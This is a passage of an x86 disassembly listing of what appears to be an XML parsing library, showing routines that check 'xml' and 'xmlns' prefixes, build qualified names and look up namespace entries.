		cmp	dword ptr [ebp+8], 0
		jz	short loc_69B4D082
		push	0
		push	0Fh
		push	dword ptr [ebp+8]
		call	sub_69B49C1F
		jmp	short loc_69B4D08D
; ---------------------------------------------------------------------------


loc_69B4D082:				; CODE XREF: sub_69B4D02C+46j
		push	ebx		; int
		push	0Fh		; int
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B49D8E


loc_69B4D08D:				; CODE XREF: sub_69B4D02C+54j
		mov	esi, eax
		mov	[ebp-20h], esi
		xor	edx, edx
		cmp	esi, edx
		setz	byte ptr [ebp-21h]
		cmp	[ebp-21h], dl
		jz	short loc_69B4D0DE
		mov	ecx, [ebx+70h]
		cmp	[ebp+8], edx
		jz	short loc_69B4D0B5
		push	dword ptr [ebp+14h]
		push	edx
		push	dword ptr [ebp+8]
		call	sub_69B3DA18
		jmp	short loc_69B4D0C1
; ---------------------------------------------------------------------------


loc_69B4D0B5:				; CODE XREF: sub_69B4D02C+79j
		push	1		; char
		push	edx		; char
		push	edx		; int
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B4E09A


loc_69B4D0C1:				; CODE XREF: sub_69B4D02C+87j
		mov	esi, eax
		push	esi
		push	0Fh
		call	sub_69B4D8E4
		push	dword ptr [ebx+50h]
		push	ebx
		push	esi
		push	0Fh
		call	sub_69B1BE7F
		mov	esi, eax
		mov	[ebp-20h], esi
		jmp	short loc_69B4D10E
; ---------------------------------------------------------------------------


loc_69B4D0DE:				; CODE XREF: sub_69B4D02C+71j
		mov	eax, [esi+8]
		shr	eax, 0Dh
		not	al
		mov	ecx, esi
		test	al, 1
		jnz	short loc_69B4D109
		mov	eax, [ebx+50h]
		push	edx
		push	eax
		push	ebx
		push	edx
		push	1
		call	sub_69B3D586
		mov	esi, eax
		mov	[ebp-20h], esi
		and	byte ptr [esi+9], 0DFh
		mov	byte ptr [ebp-21h], 1
		jmp	short loc_69B4D10E
; ---------------------------------------------------------------------------


loc_69B4D109:				; CODE XREF: sub_69B4D02C+BEj
		call	sub_69B48CEA


loc_69B4D10E:				; CODE XREF: sub_69B4D02C+B0j
					; sub_69B4D02C+DBj
		mov	ecx, [edi+0Ch]
		mov	eax, [ecx]
		xor	ebx, ebx
		push	ebx
		push	edi
		push	esi
		push	ebx
		push	ebx
		call	dword ptr [eax+74h]
		mov	[ebp-4], ebx
		push	dword ptr [ebp+10h]
		mov	ecx, esi
		call	sub_69B4CC14
		cmp	[ebp-21h], bl
		jz	short loc_69B4D137
		push	esi
		mov	ecx, edi
		call	sub_69B4CD4D


loc_69B4D137:				; CODE XREF: sub_69B4D02C+101j
		mov	ecx, [edi+0Ch]
		mov	eax, [ecx]
		push	ebx
		push	edi
		push	esi
		push	2
		push	ebx
		call	dword ptr [eax+74h]
		jmp	short loc_69B4D16E
; ---------------------------------------------------------------------------


loc_69B4D147:				; DATA XREF: .text:69B4D184o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4D150:				; DATA XREF: .text:69B4D188o
		mov	esp, [ebp-18h]
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		push	0
		push	eax
		mov	esi, [ebp-20h]
		push	esi
		push	1
		push	0
		call	dword ptr [edx+74h]
		call	sub_69B2E860


loc_69B4D16E:				; CODE XREF: sub_69B4D02C+119j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B4D172:				; CODE XREF: sub_69B4D02C+3Aj
		mov	eax, esi
		call	sub_69B1853C
		retn	10h
sub_69B4D02C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B4D180	dd 0FFFFFFFFh			dd offset loc_69B4D147
		dd offset loc_69B4D150

; =============== S U B	R O U T	I N E =======================================



sub_69B4D18C	proc near		; CODE XREF: sub_69B4D1CD+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		test	byte ptr [ecx+0Ah], 0Ch
		jnz	short locret_69B4D1A5
		push	[esp+arg_C]
		push	[esp+4+arg_4]
		push	0
		push	[esp+0Ch+arg_0]
		call	sub_69B4D02C

locret_69B4D1A5:			; CODE XREF: sub_69B4D18C+4j
		retn	10h
sub_69B4D18C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_69B4D1A8	proc near		; DATA XREF: .text:69B1535Co
					; .text:69B1DDACo
		jmp	sub_69B4CEA8
sub_69B4D1A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4D1AD	proc near		; DATA XREF: .text:69B15364o
					; .text:69B1DDB4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	dword ptr [ecx+0Ch]
		push	0Fh
		push	[esp+8+arg_0]
		call	sub_69B49C1F
		test	eax, eax
		jz	short locret_69B4D1CA
		push	[esp+arg_4]
		mov	ecx, eax
		call	sub_69B4CEA8

locret_69B4D1CA:			; CODE XREF: sub_69B4D1AD+10j
		retn	8
sub_69B4D1AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4D1CD	proc near		; DATA XREF: .text:69B15344o
					; .text:69B1DD94o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0
		push	dword ptr [ecx+0Ch]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_69B4D18C
		retn	8
sub_69B4D1CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4D1E2	proc near		; DATA XREF: .text:69B151CCo
		mov	eax, offset off_69B4D1E8
		retn
sub_69B4D1E2	endp

; ---------------------------------------------------------------------------
off_69B4D1E8	dd offset dword_69B18894 ; DATA	XREF: sub_69B4D1E2o
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_69B4D1F0	proc near		; DATA XREF: .text:69B12718o
		mov	eax, offset off_69B4D1F8
		retn
sub_69B4D1F0	endp

; ---------------------------------------------------------------------------
		align 4
off_69B4D1F8	dd offset dword_69B18894 ; DATA	XREF: sub_69B4D1F0o
		dd offset sub_69B6860C

; =============== S U B	R O U T	I N E =======================================



sub_69B4D200	proc near		; CODE XREF: sub_69B4D223+11p
					; sub_69B4D560+79p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 3
		jl	short loc_69B4D21E
		push	3
		push	[esp+4+arg_0]
		push	offset aXml	; "xml"
		call	sub_69B2ED64
		test	eax, eax
		jnz	short loc_69B4D21E
		inc	eax
		jmp	short locret_69B4D220
; ---------------------------------------------------------------------------


loc_69B4D21E:				; CODE XREF: sub_69B4D200+5j
					; sub_69B4D200+19j
		xor	eax, eax

locret_69B4D220:			; CODE XREF: sub_69B4D200+1Cj
		retn	8
sub_69B4D200	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4D223	proc near		; CODE XREF: sub_69B4D8E4+101p
					; sub_69B4D8E4+125p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	ecx, [eax+8]
		mov	eax, [eax+0Ch]
		push	ecx
		push	eax
		call	sub_69B4D200
		retn	4
sub_69B4D223	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4D23C	proc near		; DATA XREF: .text:69B151D4o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	esi, edi
		jz	short loc_69B4D276
		test	edi, edi
		jnz	short loc_69B4D27A
		mov	eax, [esi]
		push	ebx
		call	dword ptr [eax+1Ch]
		mov	ebx, eax
		mov	eax, [edi]
		xor	ecx, ecx
		call	dword ptr [eax+1Ch]
		cmp	ebx, eax
		pop	ebx
		jnz	short loc_69B4D27A
		mov	eax, [esi+8]
		cmp	eax, large ds:8
		jnz	short loc_69B4D27A
		mov	eax, [esi+0Ch]
		cmp	eax, large ds:0Ch
		jnz	short loc_69B4D27A


loc_69B4D276:				; CODE XREF: sub_69B4D23C+Aj
		mov	al, 1
		jmp	short loc_69B4D27C
; ---------------------------------------------------------------------------


loc_69B4D27A:				; CODE XREF: sub_69B4D23C+Ej
					; sub_69B4D23C+22j ...
		xor	al, al


loc_69B4D27C:				; CODE XREF: sub_69B4D23C+3Cj
		pop	edi
		pop	esi
		retn	4
sub_69B4D23C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4D281	proc near		; DATA XREF: .text:69B151D0o
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+8]
		push	edi
		xor	edi, edi
		test	ecx, ecx
		jz	short loc_69B4D295
		mov	eax, [ecx]
		call	dword ptr [eax+20h]
		mov	edi, eax


loc_69B4D295:				; CODE XREF: sub_69B4D281+Bj
		mov	ecx, [esi+10h]
		test	ecx, ecx
		jz	short loc_69B4D2A3
		mov	eax, [ecx]
		call	dword ptr [eax+20h]
		add	edi, eax


loc_69B4D2A3:				; CODE XREF: sub_69B4D281+19j
		mov	ecx, [esi+0Ch]
		test	ecx, ecx
		jz	short loc_69B4D2B1
		mov	eax, [ecx]
		call	dword ptr [eax+20h]
		add	edi, eax


loc_69B4D2B1:				; CODE XREF: sub_69B4D281+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B4D281	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4D2B6	proc near		; CODE XREF: sub_69B4D2DF+Dp
					; sub_69B4D8E4+111p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	dword_69B95A74,	ecx
		jnz	short loc_69B4D2C9
		mov	eax, dword_69B95A64
		jmp	short locret_69B4D2DC
; ---------------------------------------------------------------------------


loc_69B4D2C9:				; CODE XREF: sub_69B4D2B6+Aj
		mov	eax, dword_69B95A6C
		sub	eax, ecx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, dword_69B95A5C

locret_69B4D2DC:			; CODE XREF: sub_69B4D2B6+11j
		retn	4
sub_69B4D2B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4D2DF	proc near		; CODE XREF: sub_69B490BC+38p
					; sub_69B6282D+103p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	ebx
		mov	esi, ecx
		xor	edx, edx
		call	sub_69B4D2B6
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	short loc_69B4D326
		test	ebx, ebx
		jnz	short loc_69B4D301
		mov	edx, [esi+18h]
		jmp	short loc_69B4D326
; ---------------------------------------------------------------------------


loc_69B4D301:				; CODE XREF: sub_69B4D2DF+1Bj
		mov	eax, [esi+20h]
		test	eax, eax
		jle	short loc_69B4D326
		push	edi
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_69B4D323


loc_69B4D310:				; CODE XREF: sub_69B4D2DF+42j
		mov	ecx, [esi+1Ch]
		push	edi
		call	sub_69B8A163
		mov	edx, eax
		cmp	[edx+10h], ebx
		jz	short loc_69B4D325
		dec	edi
		jns	short loc_69B4D310


loc_69B4D323:				; CODE XREF: sub_69B4D2DF+2Fj
		xor	edx, edx


loc_69B4D325:				; CODE XREF: sub_69B4D2DF+3Fj
		pop	edi


loc_69B4D326:				; CODE XREF: sub_69B4D2DF+17j
					; sub_69B4D2DF+20j ...
		mov	ecx, [ebp+arg_4]
		test	ecx, ecx
		pop	esi
		pop	ebx
		jz	short loc_69B4D33C
		test	edx, edx
		jz	short loc_69B4D338
		mov	eax, [edx+14h]
		jmp	short loc_69B4D33A
; ---------------------------------------------------------------------------


loc_69B4D338:				; CODE XREF: sub_69B4D2DF+52j
		xor	eax, eax


loc_69B4D33A:				; CODE XREF: sub_69B4D2DF+57j
		mov	[ecx], eax


loc_69B4D33C:				; CODE XREF: sub_69B4D2DF+4Ej
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_69B4D351
		test	edx, edx
		jz	short loc_69B4D34C
		mov	eax, [edx+0Ch]
		jmp	short loc_69B4D34F
; ---------------------------------------------------------------------------


loc_69B4D34C:				; CODE XREF: sub_69B4D2DF+66j
		mov	eax, [ebp+arg_0]


loc_69B4D34F:				; CODE XREF: sub_69B4D2DF+6Bj
		mov	[ecx], eax


loc_69B4D351:				; CODE XREF: sub_69B4D2DF+62j
		test	edx, edx
		jz	short loc_69B4D35A
		mov	eax, [edx+8]
		jmp	short loc_69B4D35D
; ---------------------------------------------------------------------------


loc_69B4D35A:				; CODE XREF: sub_69B4D2DF+74j
		mov	eax, [ebp+arg_0]


loc_69B4D35D:				; CODE XREF: sub_69B4D2DF+79j
		pop	ebp
		retn	0Ch
sub_69B4D2DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4D361	proc near		; CODE XREF: sub_69B4FDBC+52Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		mov	eax, [esi+20h]
		test	eax, eax
		jle	short loc_69B4D390
		push	edi
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_69B4D38F


loc_69B4D373:				; CODE XREF: sub_69B4D361+2Cj
		mov	ecx, [esi+1Ch]
		push	edi
		call	sub_69B8A163
		mov	ecx, [eax+14h]
		cmp	ecx, [esp+8+arg_0]
		jnz	short loc_69B4D38F
		dec	edi
		mov	ecx, [esp+8+arg_4]
		mov	[eax+14h], ecx
		jns	short loc_69B4D373


loc_69B4D38F:				; CODE XREF: sub_69B4D361+10j
					; sub_69B4D361+22j
		pop	edi


loc_69B4D390:				; CODE XREF: sub_69B4D361+8j
		pop	esi
		retn	8
sub_69B4D361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B4D394(int, LPCWSTR lpString, int)

sub_69B4D394	proc near		; CODE XREF: sub_69B14EAC+1E9p
					; sub_69B40B8C+1Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
lpString	= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[ebp+var_4], esi
		jnz	short loc_69B4D3BB
		mov	edi, [ebp+arg_8]
		test	edi, edi
		jge	short loc_69B4D3C4
		push	[ebp+lpString]	; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	edi, eax
		jmp	short loc_69B4D3C4
; ---------------------------------------------------------------------------


loc_69B4D3BB:				; CODE XREF: sub_69B4D394+11j
		mov	eax, [ebx+0Ch]
		mov	edi, [ebx+8]
		mov	[ebp+lpString],	eax


loc_69B4D3C4:				; CODE XREF: sub_69B4D394+18j
					; sub_69B4D394+25j
		mov	ecx, [esi+8]
		test	ecx, ecx
		jz	short loc_69B4D3DA
		push	edi
		push	[ebp+lpString]
		call	sub_69B1941C
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B4D40B


loc_69B4D3DA:				; CODE XREF: sub_69B4D394+35j
		test	ebx, ebx
		jz	short loc_69B4D3E6
		push	ebx
		call	sub_69B19611
		jmp	short loc_69B4D3EF
; ---------------------------------------------------------------------------


loc_69B4D3E6:				; CODE XREF: sub_69B4D394+48j
		push	edi
		push	[ebp+lpString]
		call	sub_69B2FAC8


loc_69B4D3EF:				; CODE XREF: sub_69B4D394+50j
		mov	esi, eax
		mov	eax, [ebp+var_4]
		mov	edi, [eax+8]
		test	edi, edi
		jz	short loc_69B4D40B
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+2Ch]
		push	esi
		push	eax
		mov	ecx, edi
		call	sub_69B18FB8


loc_69B4D40B:				; CODE XREF: sub_69B4D394+44j
					; sub_69B4D394+65j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B4D394	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4D414	proc near		; CODE XREF: sub_69B31541+9p
					; sub_69B3A6BD+3Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	dword ptr [eax]
		mov	esi, ecx
		push	esi
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	4
sub_69B4D414	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4D429	proc near		; DATA XREF: .text:69B15158o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B4D429	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4D460	proc near		; CODE XREF: sub_69B4D62C+14Fp
					; sub_69B4D7A3+CEp ...
		push	14h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B4D472
		mov	ecx, eax
		jmp	sub_69B1515C
; ---------------------------------------------------------------------------


loc_69B4D472:				; CODE XREF: sub_69B4D460+9j
		xor	eax, eax
		retn	0Ch
sub_69B4D460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4D477	proc near		; CODE XREF: sub_69B4DC0B+8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_69B4D4F8
		mov	ecx, [eax+14h]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	ebx, eax
		cmp	dword ptr [ebx+8], 0
		mov	eax, [esi]
		mov	ecx, esi
		jle	short loc_69B4D501
		push	edi
		call	dword ptr [eax+2Ch]
		mov	edi, eax
		mov	esi, [edi+8]
		mov	eax, [ebx+8]
		lea	eax, [eax+esi+1]
		push	eax
		push	0
		call	sub_69B190D7
		lea	ecx, [esi+esi]
		mov	esi, [edi+0Ch]
		mov	edi, [eax+0Ch]
		mov	[ebp+arg_0], ecx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [eax+0Ch]
		add	edi, edx
		mov	esi, offset asc_69B282D8 ; ":"
		movsw
		mov	ecx, [ebx+8]
		mov	edi, [eax+0Ch]
		mov	esi, [ebx+0Ch]
		shl	ecx, 1
		lea	edi, [edi+edx+2]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		pop	edi
		jmp	short loc_69B4D50B
; ---------------------------------------------------------------------------


loc_69B4D4F8:				; CODE XREF: sub_69B4D477+Dj
		test	eax, eax
		jz	short loc_69B4D506
		mov	ecx, [eax+14h]
		mov	eax, [ecx]


loc_69B4D501:				; CODE XREF: sub_69B4D477+21j
		call	dword ptr [eax+2Ch]
		jmp	short loc_69B4D50B
; ---------------------------------------------------------------------------


loc_69B4D506:				; CODE XREF: sub_69B4D477+83j
		mov	eax, offset off_69B1A5AC


loc_69B4D50B:				; CODE XREF: sub_69B4D477+7Fj
					; sub_69B4D477+8Dj
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_69B4D477	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4D511	proc near		; CODE XREF: sub_69B8B2A8+11p

arg_0		= dword	ptr  4

		mov	edx, [ecx+0Ch]
		mov	eax, [esp+arg_0]
		cmp	edx, [eax+0Ch]
		jnz	short loc_69B4D530
		mov	ecx, [ecx+8]
		mov	eax, [eax+8]
		mov	ecx, [ecx+14h]
		cmp	ecx, [eax+14h]
		jnz	short loc_69B4D530
		xor	eax, eax
		inc	eax
		jmp	short locret_69B4D532
; ---------------------------------------------------------------------------


loc_69B4D530:				; CODE XREF: sub_69B4D511+Aj
					; sub_69B4D511+18j
		xor	eax, eax

locret_69B4D532:			; CODE XREF: sub_69B4D511+1Dj
		retn	4
sub_69B4D511	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4D535	proc near		; CODE XREF: sub_69B4DDE6+1Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	dword ptr [eax+10h], 0
		push	esi
		mov	esi, ecx
		jnz	short loc_69B4D54E
		add	eax, 18h
		push	eax
		lea	ecx, [esi+18h]
		call	sub_69B4D414


loc_69B4D54E:				; CODE XREF: sub_69B4D535+Bj
		dec	dword ptr [esi+20h]
		push	dword ptr [esi+20h]
		mov	ecx, [esi+1Ch]
		call	sub_69B8A22A
		pop	esi
		retn	4
sub_69B4D535	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B4D560(LPCWSTR lpString, int, int, int)

sub_69B4D560	proc near		; CODE XREF: sub_69B4D62C+64p
					; sub_69B7521B+58p

lpString	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+lpString]
		mov	ax, [edi]
		cmp	ax, 78h
		mov	ebx, ecx
		jz	short loc_69B4D57A
		cmp	ax, 58h
		jnz	short loc_69B4D5E5


loc_69B4D57A:				; CODE XREF: sub_69B4D560+12j
		cmp	[ebp+arg_4], 2
		jbe	short loc_69B4D5E5
		push	3
		pop	ecx
		cmp	[ebp+arg_4], ecx
		jnz	short loc_69B4D594
		mov	esi, offset aXml_0 ; "xml"
		xor	eax, eax
		repe cmpsw
		jz	short loc_69B4D5B2


loc_69B4D594:				; CODE XREF: sub_69B4D560+26j
		push	5
		pop	ecx
		cmp	[ebp+arg_4], ecx
		jnz	short loc_69B4D5CC
		mov	edi, [ebp+lpString]
		mov	esi, offset Str1 ; "xmlns"
		xor	eax, eax
		repe cmpsw
		jnz	short loc_69B4D5CC
		mov	eax, dword_69B95A5C
		jmp	short loc_69B4D5B7
; ---------------------------------------------------------------------------


loc_69B4D5B2:				; CODE XREF: sub_69B4D560+32j
		mov	eax, dword_69B95A64


loc_69B4D5B7:				; CODE XREF: sub_69B4D560+50j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_69B4D5C1
		mov	byte ptr [ecx],	1


loc_69B4D5C1:				; CODE XREF: sub_69B4D560+5Cj
		mov	ecx, [ebp+arg_C]
		test	ecx, ecx
		jz	short loc_69B4D614
		mov	[ecx], eax
		jmp	short loc_69B4D614
; ---------------------------------------------------------------------------


loc_69B4D5CC:				; CODE XREF: sub_69B4D560+3Aj
					; sub_69B4D560+49j
		mov	esi, [ebp+arg_8]
		test	esi, esi
		jz	short loc_69B4D5E5
		push	[ebp+arg_4]
		push	[ebp+lpString]
		call	sub_69B4D200
		test	al, al
		jz	short loc_69B4D5E5
		mov	byte ptr [esi],	1


loc_69B4D5E5:				; CODE XREF: sub_69B4D560+18j
					; sub_69B4D560+1Ej ...
		cmp	dword ptr [ebx+20h], 0
		jle	short loc_69B4D612
		push	[ebp+arg_4]	; int
		mov	ecx, ebx
		push	[ebp+lpString]	; lpString
		push	0		; int
		call	sub_69B4D394
		mov	esi, [ebx+20h]
		mov	edi, eax
		jmp	short loc_69B4D60F
; ---------------------------------------------------------------------------


loc_69B4D601:				; CODE XREF: sub_69B4D560+B0j
		mov	ecx, [ebx+1Ch]
		push	esi
		call	sub_69B8A163
		cmp	[eax+10h], edi
		jz	short loc_69B4D61B


loc_69B4D60F:				; CODE XREF: sub_69B4D560+9Fj
		dec	esi
		jns	short loc_69B4D601


loc_69B4D612:				; CODE XREF: sub_69B4D560+89j
		xor	eax, eax


loc_69B4D614:				; CODE XREF: sub_69B4D560+66j
					; sub_69B4D560+6Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_69B4D61B:				; CODE XREF: sub_69B4D560+ADj
		mov	ecx, [ebp+arg_C]
		test	ecx, ecx
		jz	short loc_69B4D627
		mov	edx, [eax+0Ch]
		mov	[ecx], edx


loc_69B4D627:				; CODE XREF: sub_69B4D560+C0j
		mov	eax, [eax+8]
		jmp	short loc_69B4D614
sub_69B4D560	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B4D62C(LPCWSTR lpString, int, int, int, int, int,	int)

sub_69B4D62C	proc near		; CODE XREF: sub_69B4DE11+148p
					; sub_69B4E09A+DFp ...

lpString	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ebx, ecx
		mov	eax, [ebx+14h]
		push	edi
		add	esi, 4
		xor	edi, edi
		cmp	esi, eax
		jbe	short loc_69B4D664
		cmp	eax, edi
		jbe	short loc_69B4D652
		push	dword ptr [ebx+10h]
		call	sub_69B1B2B7
		mov	[ebx+10h], edi


loc_69B4D652:				; CODE XREF: sub_69B4D62C+19j
		lea	eax, [esi+esi]
		push	eax
		mov	[ebx+14h], edi
		call	sub_69B1D897
		mov	[ebx+10h], eax
		mov	[ebx+14h], esi


loc_69B4D664:				; CODE XREF: sub_69B4D62C+15j
		cmp	[ebp+arg_10], edi
		jnz	loc_69B4D6F7
		cmp	byte ptr [ebp+arg_18], 0
		jnz	loc_69B4D6F7
		mov	esi, [ebp+arg_8]
		cmp	esi, edi
		jz	short loc_69B4D6DE
		lea	eax, [ebp+arg_14]
		push	eax		; int
		lea	eax, [ebp+arg_18+3]
		push	eax		; int
		push	esi		; int
		push	[ebp+lpString]	; lpString
		mov	ecx, ebx
		mov	byte ptr [ebp+arg_18+3], 0
		call	sub_69B4D560
		cmp	eax, edi
		mov	[ebp+arg_10], eax
		jnz	short loc_69B4D6B6
		push	edi
		push	esi
		push	[ebp+lpString]
		call	sub_69B190C1
		push	eax
		mov	eax, 0C00CE01Dh
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B4D6B6:				; CODE XREF: sub_69B4D62C+6Ej
		cmp	byte ptr [ebp+arg_18+3], 0
		jz	short loc_69B4D6F7
		cmp	byte ptr [ebp+arg_C], 0
		jz	short loc_69B4D6F7
		push	edi
		push	esi
		push	[ebp+lpString]
		call	sub_69B190C1
		push	eax
		mov	eax, 0C00CE568h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h
		jmp	short loc_69B4D6F7
; ---------------------------------------------------------------------------


loc_69B4D6DE:				; CODE XREF: sub_69B4D62C+50j
		cmp	byte ptr [ebp+arg_C], 0
		jz	short loc_69B4D6F7
		mov	eax, [ebx+18h]
		cmp	eax, edi
		jz	short loc_69B4D6F7
		mov	ecx, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[ebp+arg_10], ecx
		mov	[ebp+arg_14], eax


loc_69B4D6F7:				; CODE XREF: sub_69B4D62C+3Bj
					; sub_69B4D62C+45j ...
		mov	eax, [ebx+10h]
		mov	ecx, [ebp+arg_14]
		mov	esi, [ebp+lpString]
		mov	[eax], ecx
		mov	edi, [ebx+10h]
		mov	ecx, [ebp+arg_4]
		add	edi, 4
		rep movsw
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebx+0Ch]
		lea	eax, [esi+2]
		push	eax
		push	dword ptr [ebx+10h]
		mov	[ebp+arg_18], eax
		call	sub_69B1941C
		mov	edi, eax
		xor	eax, eax
		cmp	edi, eax
		jnz	short loc_69B4D79A
		mov	edi, [ebp+arg_8]
		cmp	edi, eax
		mov	ecx, ebx
		jz	short loc_69B4D75E
		push	edi		; int
		push	[ebp+lpString]	; lpString
		push	eax		; int
		call	sub_69B4D394
		cmp	esi, edi
		mov	[ebp+arg_C], eax
		jbe	short loc_69B4D757
		mov	eax, [ebp+lpString]
		sub	esi, edi
		dec	esi
		push	esi
		lea	eax, [eax+edi*2+2]
		push	eax
		push	0
		mov	ecx, ebx
		jmp	short loc_69B4D766
; ---------------------------------------------------------------------------


loc_69B4D757:				; CODE XREF: sub_69B4D62C+117j
		mov	eax, dword_69B95A18
		jmp	short loc_69B4D76B
; ---------------------------------------------------------------------------


loc_69B4D75E:				; CODE XREF: sub_69B4D62C+106j
		push	esi		; int
		push	[ebp+lpString]	; lpString
		mov	[ebp+arg_C], eax
		push	eax		; int


loc_69B4D766:				; CODE XREF: sub_69B4D62C+129j
		call	sub_69B4D394


loc_69B4D76B:				; CODE XREF: sub_69B4D62C+130j
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	eax
		call	sub_69B192E9
		push	eax
		call	sub_69B4D460
		push	[ebp+arg_18]
		mov	edi, eax
		mov	eax, [ebx+10h]
		mov	ebx, [ebx+0Ch]
		push	eax
		call	sub_69B190C1
		push	edi
		push	eax
		mov	ecx, ebx
		call	sub_69B3182D


loc_69B4D79A:				; CODE XREF: sub_69B4D62C+FDj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	1Ch
sub_69B4D62C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4D7A3	proc near		; CODE XREF: sub_69B3DA18+26p
					; sub_69B45CD4:loc_69B45DCEp ...
		push	7Ch
		push	offset dword_69B4D8D8
		call	sub_69B19C5C
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		mov	[ebp-1Ch], eax
		mov	[ebp-20h], ecx
		xor	eax, eax
		xor	edi, edi
		lea	esi, [ebp-60h]
		mov	[ebp-64h], esi
		mov	[ebp-4], eax
		mov	ecx, [ebp+14h]
		cmp	ecx, eax
		jz	short loc_69B4D7E5
